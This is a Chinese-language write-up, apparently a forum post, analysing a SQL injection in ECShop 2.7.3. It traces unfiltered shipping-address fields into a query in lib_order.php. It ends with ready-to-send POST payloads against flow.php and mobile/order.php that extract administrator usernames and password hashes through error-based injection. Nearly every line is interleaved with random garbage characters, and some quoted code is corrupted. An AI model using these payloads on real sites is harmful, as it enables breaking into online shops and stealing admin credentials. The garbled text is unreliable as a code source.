前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
+ V0 u' f7 Q7 ~' S/ `' I( z1 y) V, b* d7 a9 e' D' J( k
漏洞关键文件:
9 S4 v6 C0 ~1 B% t/ [- Y6 B5 K( I4 [
/includes/lib_order.php! a* X. u, W1 S1 k% W& ?' p
5 G# q* M! H8 `9 d 关键函数:
! a5 i% r/ Q9 k8 P0 |5 D ~6 d4 X @: g2 \1 I# L+ }; [
) y' e6 f$ y8 c5 q" [: h" V0 p7 |" v& P K8 P7 G
01 function available_shipping_list($region_id_list) 7 v# z/ j2 D( Y j8 t- X6 v
/ X& V! E8 j4 ^1 t02 {
$ c9 R: [, X/ Y& |0 O# p* m, N& w, y$ B- V. J; q' a9 w, q
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 6 d4 \" h O a
2 T. Z( Y1 S1 H ~% x) k04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
5 ?4 O6 n8 W f" ?7 n6 b; l/ ]- F
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . " G: U8 {' u/ }" L
! K/ u7 s) P( F; p' ~# u: F# ?
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . - } {# ]/ u3 j5 A A# B
" W9 B: ^* M. w y. X5 n7 \" o$ w& u
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. . T$ |# g, l, E+ }& |+ N2 B9 J
8 Z" b6 ?, p$ U2 O3 a4 |' o
08 'WHERE r.region_id ' . db_create_in($region_id_list) . 2 ^/ `! S+ s; o/ H: P8 |6 ]; n# w
; Q) T6 a+ Z$ g! D8 G09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; % g' \9 g, O( d( p- p; P/ N" t& n
4 p" Y) I( y8 D* X9 J% {$ a" G: I
10
1 B# s! F* ~9 m# p8 g, H, r
7 Q# d2 T0 U$ u: r11 return $GLOBALS['db']->getAll($sql); " h- x, u$ e0 {6 m& D
) t, c' R9 w7 u8 v
12 }
, D, n2 P* q+ r
: u% t( I7 _( ?8 N: K" I8 U7 a显然对传入的参数没有任何过滤就带入了查询语句。
4 T$ o1 P6 P- [% o0 F, M% }
: l# i0 O. n4 Y/ x2 z6 B$ _下面我们追踪这个函数在flow.php中:
1 j' F0 K/ w6 k* i8 l0 p5 n% ? 第531行: " v J, R5 R7 S3 [6 Z! O" [
3 p) [3 L7 C6 V
1 $shipping_list = available_shipping_list($region);
7 P7 f% E! g3 z9 u
+ A/ j" H, u) M" o }
& f9 j, P9 {2 X7 I" }1 m+ }: X
2 k9 A1 l, s! n
3 G1 ]0 u; e+ n6 h" W& v' z: E$ y
再对传入变量进行追踪:
' s/ h# f- e5 v: t8 }5 e* Y
+ Z" ?) S$ x: ?: o. w第530行:
4 I% Y' ~$ S( S$ m0 w' L
. D6 a+ V- l! L* S- d1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
, _1 L9 X8 J- }1 d6 V2 q1 S1 E
0 [/ P% ]# l! x" _1 z) D( G0 A$ z1 ~4 V$ P# g- ^' l& ]# _9 K
! H9 L% S! f* y) `0 f3 \9 c; _. u y E0 y
第473行:
. s5 ?( i2 h: |: Q
& Q7 R& W. g3 N" |0 F1 $consignee = get_consignee($_SESSION['user_id']); ' r+ l) B8 o. j+ @
, d* O$ w& `* W; v( Q到了一个关键函数:
! C5 J& M; F. E. k6 ^# R( D$ P p
! O1 K* h; `" S. C/includes/lib_order.php
8 M$ J* g0 @% d1 D& \) ? e5 M# I! W2 a0 d O& o0 O. ?! \) F) C
7 \6 Y: ]: y! O; f
0 D' P$ W# ^/ Z1 X( H8 u% {- m/ b % }) b- }; y, |+ |; |1 C
9 ~, f: Q+ w% _0 e3 I5 ~
01 function get_consignee($user_id)
* ~& I% |$ R6 |( Z
9 [( Z, _* n4 g' C( ?2 b5 Y" f02 { $ R! g& B$ t* S$ P& k' [
. A- s+ y5 L8 Y/ E2 d0 T6 T03 if (isset($_SESSION['flow_consignee'])) % @3 t. V$ A5 k! S! f
3 m d3 M [4 j5 W+ h04 { : ~& m9 z1 W8 Y, N+ ]$ y
% i6 Y' d7 O; R% r) f3 H1 u
05 /* 如果存在session,则直接返回session中的收货人信息 */ - W0 v2 g& C# @6 R1 R
/ K& X9 I/ L/ Y06 9 G. L; m) S4 H( B- x# U( b( D
" q, P1 X, U3 b( {3 G8 g
07 return $_SESSION['flow_consignee'];
$ {5 y3 N5 x) E+ Q: w
' m! ]( o3 n2 U- t. W; |- k7 H; H* R' a+ S08 } " l2 o7 F& d* j$ ]# ?) w( F
q ~( [& F* p, V. o
09 else $ k8 z, Q# S2 H
! ~8 u: s4 p9 D6 T) O4 t10 {
" D9 U% @2 b% i" c/ l: Y4 f9 ?
11 /* 如果不存在,则取得用户的默认收货人信息 */
# K, o- J) V$ g% Q. B* X
, W' `3 {$ ?! l. d; z12 $arr = array(); 5 U4 |" w3 \6 ~7 G. g" a) J
0 @: I7 w$ g) h' _6 Z1 P
13 & J4 }( c) e# l) n0 a7 c* k
, G" r2 C6 z' u14 if ($user_id > 0)
) [5 Y4 h' i* i1 h' k) c0 [, `6 B& a% S- N
15 {
1 Y( S1 r$ ^; T. ]3 o! y! X
3 L, {9 x7 W; a4 y! s5 _7 w- s16 /* 取默认地址 */ 4 d' f4 j" x5 ?8 D1 p9 R- I
# z) o+ C0 L% p4 J( X* ?17 $sql = "SELECT ua.*". 2 I R* Z" |0 c
q; C7 v4 \% Y8 E* d8 r' R7 q
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 6 [. H% u) b: {& z" c& m
) M) l9 }( _ x; i; b: p
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
( S4 w/ [, k8 x C2 K! t
6 V9 r: G) P2 S. W2 r20 ' k' X6 r6 H6 u& q) Y$ D1 |+ @1 O Q
* E0 p( z# W- k/ c' E
21 $arr = $GLOBALS['db']->getRow($sql);
3 c% v% r& q3 U
9 x3 K, y D; ^& h22 } # I" v& s+ _6 ?1 ^# p$ E
7 G2 F) @& M. \! l' ?0 P. t" a
23
( B4 w9 V1 q% t+ b2 @! S4 d
( x/ d$ e' _7 o8 U3 |! r24 return $arr;
: r' g+ D, c, U% R
7 [3 u6 A. O5 E: Z7 ^* g& e25 } 2 j0 g6 ]" ~; C9 d3 Y
. x7 x+ u9 }/ ^) u+ e/ \6 U& k& H26 }
7 _0 D$ E) z) v2 C+ j/ l1 y
7 i B: i2 ]) M! q# [显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?1 m) n3 u1 o* _( c, b5 ]: v
B% x4 q7 b% {9 y \, P( m R0 K9 q9 ?( D9 n) Q; y
& z& K0 v# e5 J; z8 `关键点:; Y1 S- ?( Q: t" M' ^# ^
) T4 D5 p- Y) M0 m$ s/ i第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);& ?" M8 `% W1 J& B% } Y
' T4 D; a0 y$ {0 @9 x这里对传入参数反转义存入$_SESSION中。! }' p1 Z) A6 Z) R6 Y0 p1 L
' q7 |$ h; q7 q0 `+ d# y$ O $ v7 M% M6 G& `- r# d1 _% j) o
: ?: r1 I# f+ t5 J4 z! T1 g0 v然后看下:0 H9 p1 o& L) B( x4 L( g
0 Y+ L+ t* {2 p1 }" o, d$ K
: |$ m6 p2 ~) J; l
0 c( B$ c* w$ |. }( s
8 N5 I# E+ j! [1 m
0 x5 ]& R+ z$ e: d1 @01 $consignee = array(
- c, Q# }1 |7 k1 b P( p4 X+ ~ s4 |' h y v
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
. {) A/ h7 C0 g0 ~: L/ ^
0 H% L* b7 v- l. V03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
1 z# Z9 _ s' H' T2 K% v# p
$ w; a5 R: D7 A1 d6 u ]- V' m04 'country' => empty($_POST['country']) ? '' _POST['country'],
! @+ p6 Q6 \3 e$ n$ n
0 Y8 D% Y- s. S+ M( c4 J7 L I05 'province' => empty($_POST['province']) ? '' _POST['province'], : B' _9 M, r" k$ k3 r+ D
5 C& f7 o2 B$ a A
06 'city' => empty($_POST['city']) ? '' _POST['city'],
0 q5 B& ^- m5 g& \# h8 Y; g( [1 Q7 W5 V! z k5 G# O+ f( \
07 'district' => empty($_POST['district']) ? '' _POST['district'],
* z1 V1 @5 n* M/ V& n6 Y1 f% j+ c. v- |
08 'email' => empty($_POST['email']) ? '' _POST['email'], * ^ I0 U9 E/ z
8 a a% ^9 ^0 F' }* _$ w+ i0 x09 'address' => empty($_POST['address']) ? '' _POST['address'], 6 n. M/ i- Q! q
& |& `+ J; l) Q
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
( ]& C2 A. B4 D* c- d% L1 s
; F5 f9 l; h5 ~8 B& Z/ A* j H11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
9 S+ v" Y" g* [- ~1 X8 A
" ]$ @' ?; j& p2 `9 w12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
6 E9 Y6 E2 }7 b; i( R. _
* o: H4 O: Q8 [- v5 a: Y13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 1 Z. O. Z9 ~5 L9 ]+ o3 q
2 h& w: ^3 H, w3 D% T+ J+ j5 ]14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
, u& O5 @4 Z7 `6 Q$ D# x* J# F- o$ n/ S8 t$ K: \1 c
15 );
4 \) m; Z. ?3 F: y; |: i6 N) r) P! E! G9 v
好了注入就这样出现了。: _+ |& D, P/ i7 Y& P$ _1 b! ^
+ s+ ~, V" r+ Z0 E==================
+ ~; ?1 {5 X* S. R) j
' k2 V, e! N) ~6 r5 e注入测试:' J' @% f9 j% ^
. `: w- K% @0 f9 L3 v6 c: x环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
2 d- ^( K9 f: F% W& @
( E& [9 T$ l' R2 P测试程序:ECShop_V2.7.3_UTF8_release1106
; K. o0 n8 o: r! M. l
9 e; `. A2 v+ i5 y9 Q/ K 1 n& s- r# @8 [" F/ M
' Z( g3 }- \5 a# I2 U/ {. |
1.首先需要点击一个商品加入购物车/ n5 k& V9 a G# U5 R
4 k8 L/ |1 _5 |2 J+ I$ Q9 ^% a; S: r2.注册一个会员帐号
9 B' O. g6 t- {- ?
+ H2 k4 C& [6 J$ _3.post提交数据
4 U7 E' R! Z# J$ v
; O/ t/ U" W0 V: z; X/ U
: |- m+ e& R4 Q' n
- R! F) ]: v% G! E ]1 http://127.0.0.1/ecshop/flow.php ( U; ~' r1 U5 U# E- ?& w+ J# e8 ]6 A6 ^
$ @' E# h4 l- \8 Z2 s: m$ H) G4 x2
6 L& R" \7 j! m2 i2 ^( Q y; Q+ o' [7 _& M' H+ e
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
+ ~, n2 l' a7 x& w$ z) ]+ Q举一反三,我们根据这个漏洞我们可以继续深入挖掘:4 O( n1 J6 E- k
; p! T- P% \8 v/ Q2 o& m8 {+ b: c我们搜寻关键函数function available_shipping_list()6 o2 M L7 M! E# V$ S. D9 Z) P# S3 D
7 S0 A3 v% j9 ?8 J+ l7 s
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
; ~& t4 y6 o. E% ~+ Z7 A" H" W2 C. `" e* C. m* s
利用exp:, ^' o4 G% S: B, [) \* R Y* `
# J- K L7 }" u( O. I e1.点击一个商品,点击购买商标: w7 ^) _+ ^, I6 [
; h) t+ Z" [ H
2.登录会员帐号
1 Y ^, T$ i# L
/ y0 D7 N. F% c2 z/ s3.post提交:: a0 ?5 o) B8 @+ e# g V' m
8 w: u% D5 L0 J0 C0 q- ` A, K
http://127.0.0.1/ecshop/mobile/order.php
) M3 ]8 h- U. C3 ?/ D" f! x( }! t' ^ g/ i. S1 R; d7 j) p
' t# C8 ?. P' _. F8 O/ d
* l4 ^: M7 f7 k; S8 _( D. o4 Ycountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=1 ~6 d2 C, `! o
# N# u( S- Y7 b: _. {7 [ |